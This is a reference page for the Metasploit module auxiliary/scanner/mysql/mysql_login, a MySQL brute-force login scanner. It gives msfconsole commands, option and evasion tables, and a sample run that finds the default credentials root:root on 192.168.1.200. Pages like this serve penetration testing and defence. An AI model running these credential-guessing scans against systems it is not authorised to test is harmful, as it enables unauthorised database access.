MySQL Login Utility - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/mysql/mysql_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: MySQL Login Utility
Module: auxiliary/scanner/mysql/mysql_login
Source code: modules/auxiliary/scanner/mysql/mysql_login.rb
Disclosure date: -
Last modification time: 2021-08-31 17:10:07 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 3306
List of CVEs: CVE-1999-0502

This module simply queries the MySQL instance for a specific user/pass (default is root with blank).

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options
    ... show and set options ...
msf auxiliary(mysql_login) > set RHOSTS ip-range
msf auxiliary(mysql_login) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(mysql_login) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(mysql_login) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(mysql_login) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This auxiliary module is a brute-force login tool for MySQL servers.

Verification Steps


  1. Do: use auxiliary/scanner/mysql/mysql_login
  2. Do: set PASS_FILE [file containing passwords]
  3. Do: set RHOSTS [IP]
  4. Do: set USER_FILE [file containing usernames]
  5. Do: run

Scenarios


msf > use auxiliary/scanner/mysql/mysql_login 
msf auxiliary(mysql_login) > set PASS_FILE /tmp/passes.txt
PASS_FILE => /tmp/passes.txt
msf auxiliary(mysql_login) > set RHOSTS 192.168.1.200
RHOSTS => 192.168.1.200
msf auxiliary(mysql_login) > set USER_FILE /tmp/users.txt
USER_FILE => /tmp/users.txt
msf auxiliary(mysql_login) > run

[*] 192.168.1.200:3306 - Found remote MySQL version 5.0.51a
[*] 192.168.1.200:3306 Trying username:'administrator' with password:''
[*] 192.168.1.200:3306 failed to login as 'administrator' with password ''
[*] 192.168.1.200:3306 Trying username:'admin' with password:''
[*] 192.168.1.200:3306 failed to login as 'admin' with password ''
[*] 192.168.1.200:3306 Trying username:'root' with password:''
[*] 192.168.1.200:3306 failed to login as 'root' with password ''
[*] 192.168.1.200:3306 Trying username:'god' with password:''
[*] 192.168.1.200:3306 failed to login as 'god' with password ''
[*] 192.168.1.200:3306 Trying username:'administrator' with password:'root'
[*] 192.168.1.200:3306 failed to login as 'administrator' with password 'root'
[*] 192.168.1.200:3306 Trying username:'administrator' with password:'admin'
[*] 192.168.1.200:3306 failed to login as 'administrator' with password 'admin'
[*] 192.168.1.200:3306 Trying username:'administrator' with password:'god'
[*] 192.168.1.200:3306 failed to login as 'administrator' with password 'god'
[*] 192.168.1.200:3306 Trying username:'administrator' with password:'s3cr3t'
[*] 192.168.1.200:3306 failed to login as 'administrator' with password 's3cr3t'
[*] 192.168.1.200:3306 Trying username:'admin' with password:'root'
[*] 192.168.1.200:3306 failed to login as 'admin' with password 'root'
[*] 192.168.1.200:3306 Trying username:'admin' with password:'admin'
[*] 192.168.1.200:3306 failed to login as 'admin' with password 'admin'
[*] 192.168.1.200:3306 Trying username:'admin' with password:'god'
[*] 192.168.1.200:3306 failed to login as 'admin' with password 'god'
[*] 192.168.1.200:3306 Trying username:'admin' with password:'s3cr3t'
[*] 192.168.1.200:3306 failed to login as 'admin' with password 's3cr3t'
[*] 192.168.1.200:3306 Trying username:'root' with password:'root'
[+] 192.168.1.200:3306 - SUCCESSFUL LOGIN 'root' : 'root'
[*] 192.168.1.200:3306 Trying username:'god' with password:'root'
[*] 192.168.1.200:3306 failed to login as 'god' with password 'root'
[*] 192.168.1.200:3306 Trying username:'god' with password:'admin'
[*] 192.168.1.200:3306 failed to login as 'god' with password 'admin'
[*] 192.168.1.200:3306 Trying username:'god' with password:'god'
[*] 192.168.1.200:3306 failed to login as 'god' with password 'god'
[*] 192.168.1.200:3306 Trying username:'god' with password:'s3cr3t'
[*] 192.168.1.200:3306 failed to login as 'god' with password 's3cr3t'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) >

Go back to menu.

Msfconsole Usage


Here is how the scanner/mysql/mysql_login auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/mysql/mysql_login

msf6 auxiliary(scanner/mysql/mysql_login) > show info

       Name: MySQL Login Utility
     Module: auxiliary/scanner/mysql/mysql_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Bernardo Damele A. G. <[email protected]>

Check supported:
  No

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  BLANK_PASSWORDS   true             no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false            no        Add all passwords in the current database to the list
  DB_ALL_USERS      false            no        Add all users in the current database to the list
  PASSWORD                           no        A specific password to authenticate with
  PASS_FILE                          no        File containing passwords, one per line
  Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT             3306             yes       The target port (TCP)
  STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
  THREADS           1                yes       The number of concurrent threads (max one per host)
  USERNAME          root             no        A specific username to authenticate as
  USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false            no        Try the username as the password for all users
  USER_FILE                          no        File containing usernames, one per line
  VERBOSE           true             yes       Whether to print output for all attempts

Description:
  This module simply queries the MySQL instance for a specific 
  user/pass (default is root with blank).

References:
  https://nvd.nist.gov/vuln/detail/CVE-1999-0502

Module Options


This is a complete list of options available in the scanner/mysql/mysql_login auxiliary module:

msf6 auxiliary(scanner/mysql/mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             3306             yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME          root             no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

Advanced Options


Here is a complete list of advanced options supported by the scanner/mysql/mysql_login auxiliary module:

msf6 auxiliary(scanner/mysql/mysql_login) > show advanced

Module advanced options (auxiliary/scanner/mysql/mysql_login):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   CHOST                                  no        The local client address
   CPORT                                  no        The local client port
   ConnectTimeout        10               yes       Maximum number of seconds to establish a TCP connection
   MaxGuessesPerService  0                no        Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
   MaxGuessesPerUser     0                no        Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22 is different from one at 10.2.2.2:
                                                    22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be used.
   MaxMinutesPerService  0                no        Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
   REMOVE_PASS_FILE      false            yes       Automatically delete the PASS_FILE on module completion
   REMOVE_USERPASS_FILE  false            yes       Automatically delete the USERPASS_FILE on module completion
   REMOVE_USER_FILE      false            yes       Automatically delete the USER_FILE on module completion
   SSL                   false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                              no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode         PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion            Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true             yes       Display progress messages during a scan
   ShowProgressPercent   10               yes       The interval in percent that progress should be shown
   TRANSITION_DELAY      0                no        Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
   WORKSPACE                              no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/mysql/mysql_login module can do:

msf6 auxiliary(scanner/mysql/mysql_login) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/mysql/mysql_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/mysql/mysql_login) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<IP>:<RPORT> - LOGIN FAILED: <RESULT.CREDENTIAL> (<RESULT.STATUS>: <RESULT.PROOF>)


Here is a relevant code snippet related to the "<IP>:<RPORT> - LOGIN FAILED: <RESULT.CREDENTIAL> (<RESULT.STATUS>: <RESULT.PROOF>)" error message:

84:	            create_credential_login(credential_data)
85:	
86:	            print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
87:	          else
88:	            invalidate_login(credential_data)
89:	            vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
90:	          end
91:	        end
92:	
93:	      else
94:	        vprint_error "#{target} - Unsupported target version of MySQL detected. Skipping."

<TARGET> - Unsupported target version of MySQL detected. Skipping.


Here is a relevant code snippet related to the "<TARGET> - Unsupported target version of MySQL detected. Skipping." error message:

89:	            vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
90:	          end
91:	        end
92:	
93:	      else
94:	        vprint_error "#{target} - Unsupported target version of MySQL detected. Skipping."
95:	      end
96:	    rescue ::Rex::ConnectionError, ::EOFError => e
97:	      vprint_error "#{target} - Unable to connect: #{e.to_s}"
98:	    end
99:	  end

<TARGET> - Unable to connect: <E.TO_S>


Here is a relevant code snippet related to the "<TARGET> - Unable to connect: <E.TO_S>" error message:

92:	
93:	      else
94:	        vprint_error "#{target} - Unsupported target version of MySQL detected. Skipping."
95:	      end
96:	    rescue ::Rex::ConnectionError, ::EOFError => e
97:	      vprint_error "#{target} - Unable to connect: #{e.to_s}"
98:	    end
99:	  end
100:	
101:	  # Tmtm's rbmysql is only good for recent versions of mysql, according
102:	  # to http://www.tmtm.org/en/mysql/ruby/. We'll need to write our own

<RHOST>:<RPORT> error checking version <E.CLASS> <E>


Here is a relevant code snippet related to the "<RHOST>:<RPORT> error checking version <E.CLASS> <E>" error message:

109:	      data = s.get
110:	      disconnect(s)
111:	    rescue ::Rex::ConnectionError, ::EOFError => e
112:	      raise e
113:	    rescue ::Exception => e
114:	      vprint_error("#{rhost}:#{rport} error checking version #{e.class} #{e}")
115:	      return false
116:	    end
117:	    offset = 0
118:	    l0, l1, l2 = data[offset, 3].unpack('CCC')
119:	    return false if data.length < 3

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Bernardo Damele A. G. <bernardo.damele[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.